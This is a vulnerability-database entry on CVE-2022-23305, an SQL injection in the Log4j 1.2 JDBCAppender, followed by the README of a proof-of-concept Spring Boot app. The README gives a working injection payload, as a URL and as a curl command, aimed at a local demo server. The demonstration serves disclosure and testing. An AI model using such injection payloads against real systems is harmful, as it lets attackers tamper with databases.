标题:Apache Log4j SQL注入漏洞 (CVE-2022-23305)Description:Apache Log4j是美国阿帕奇（Apache）基金会的一款基于Java的开源日志记录工具。 Apache Log4j 存在SQL注入漏洞，该漏洞源于 Log4j 1.2.x 中的 JDBCAppender 接受 SQL 语句作为配置参数，其中要插入的值是来自 PatternLayout 的转换器。 消息转换器 %m 可能总是包含在内。 这允许攻击者通过将精心制作的字符串输入到记录的应用程序的输入字段或标题中来操纵 SQL，从而允许执行意外的 SQL 查询。 请注意，此问题仅在专门配置为使用 JDBC

CVE-2022-23305 Log4J JDBCAppender SQl injection POC
介绍
# CVE-2022-23305 Log4j JDBCAppender sql injection POC
This is a very simple Spring Boot based application that demonstrates the CVE-2022-23305 vulnerability. It uses Apache Maven, Spring Boot, Spring MVC, and the H2 in-memory database to log one simple entry, taken as a URL query string parameter. Since Log4J is configured to use a JDBCAppender, it is vulnerable to SQL injection.
See src/main/java/poc/InjectionController.java for the logging statement.
See src/main/resource folder for all the configuration files.
You can run the application using Java and Maven by running "mvn clean spring-boot:run".
You can also run it as a Docker application such as:
 docker build --tag log4j-poc .
 docker run -p 8080:8080 log4j-poc
The app will be available at http://localhost:8080/.
To exploit the vulnerability, submit an injected sql statement as the parameter which is getting logged:
 "http://localhost:8080/?param=');insert into logs values(':("
The return will list the added log entries, containing one that was added by the sql injected into the parameter.
To do the same with curl use:
 curl 'http://localhost:8080/?param=%27);insert%20into%20logs%20values(%27:('
